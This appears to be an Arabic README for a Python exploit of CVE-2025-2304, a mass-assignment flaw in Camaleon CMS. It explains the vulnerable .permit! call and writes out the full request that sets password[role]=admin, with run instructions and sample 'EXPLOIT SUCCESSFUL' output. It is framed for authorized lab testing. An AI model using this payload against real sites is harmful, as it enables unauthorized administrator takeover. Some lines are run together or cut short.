
نص استغلال Python لـ CVE-2025-2304، وهو تصعيد امتيازات تعيين جماعي في Camaleon CMS. يقوم بأتمتة تحليل رمز CSRF وحقن معلمة الدور لرفع المستخدمين المصادق عليهم إلى مسؤول في بيئات معملية خاضعة للرقابة.
CVE-2025-2304 هي ثغرة Mass Assignment في Camaleon CMS (الإصدارات الأقدم من 2.9.1) تسمح لمستخدمٍ مُوثّق برفع صلاحياته إلى مسؤول (admin) عبر التلاعب بمعامل role في طلبات تغيير كلمة المرور.
يستخدم Camaleon CMS إطار العمل Ruby on Rails، وفي الإصدار 2.9.0 توجد ثغرة Mass Assignment في المتحكم UsersController#updated_ajax. يستخدم المتحكم .permit! دون قيود، مما يسمح بأي معامل يُرسَل في الطلب ليتم إسناده مباشرة إلى نموذج المستخدم.
POST /admin/users/{user_id}/updated_ajaxpassword[role] المُرسَل داخل نطاق passwordparams.require(:password) ثم يطبق .permit! الذي لا يفلتر أي معاملات"admin" في حقل role الخاص بالمستخدمPOST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded
authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch
تتم معالجة المعامل password[role] بواسطة User.update(permitted_params) ويُسنَد مباشرة إلى سجل المستخدم بسبب .permit!، مما يرفع الصلاحيات من user إلى admin.
# Python 3.6+
python3 --version
# المكتبات المطلوبة
pip install requests
python3 exploit_cve_2025_2304_en.py
python3 exploit_cve_2025_2304.py
سيطلب السكربت تفاعليًا:
http(s)://domain:port_cms_session (يتم الحصول عليها بعد تسجيل الدخول)P@ssw0rd_lab_2025!)python3 exploit_cve_2025_2304_en.py
[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456
عندما اكتشفت هذه الثغرة، كان أول ما فعلته هو اختبارها يدويًا عبر Burp Suite — وقد نجحت. لكنني أردت أن أخطو خطوة إضافية وأن أحوّل تلك العملية اليدوية إلى شيء قابل للتكرار والنقل، فكتبت هذا السكربت. إلى جانب مجرد استغلال الثغرة، فإن بناء هذا السكربت أتاح لي فرصة العمل على بعض الأمور التي أجدها ممتعة حقًا:
لا أحاول استبدال Burp أو Caido. فهذه الأدوات لا غنى عنها في الاختبار التفاعلي. هذا فقط ما يحدث عندما أفضّل كتابة سكربت على تكرار نفسي.
THIS SCRIPT IS EXCLUSIVELY FOR:
- Controlled laboratory environments
- Systems you own or have explicit authorization to test
- Educational purposes and authorized research
STRICTLY PROHIBITED:
- Use on systems without authorization
- Application with malicious intent
- Violation of data protection laws
- Compromising third-party security
The author is not responsible for misuse of this tool.
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-2304 │ Camaleon CMS Mass Assignment ║
║ Privilege Escalation: user → admin ║
║ [LABORATORY / CONTROLLED ENVIRONMENT] ║
╚══════════════════════════════════════════════════════════════╝
[✔] CSRF token obtained: abc123def456...
[✔] EXPLOIT SUCCESSFUL: Server confirmed the update.
[✔] Status : COMPROMISED
User 5 should now have 'admin' role.
{
"authenticity_token": "abcd1234",
"password[password]": "P@ssw0rd_lab_2025!",
"password[password_confirmation]": "P@ssw0rd_lab_2025!",
"password[role]": "admin",
"password[id]": "5",
"_method": "patch"
}
الكود مبني بنمط معياري لتسهيل:
.permit!نرحب بالمساهمات التي:
تذكّر: هذا المشروع مخصص حصريًا للأغراض التعليمية والبحث المصرّح به.
آخر تحديث: أبريل 2025 | بقلم محلل أمني (بيئة مختبرية)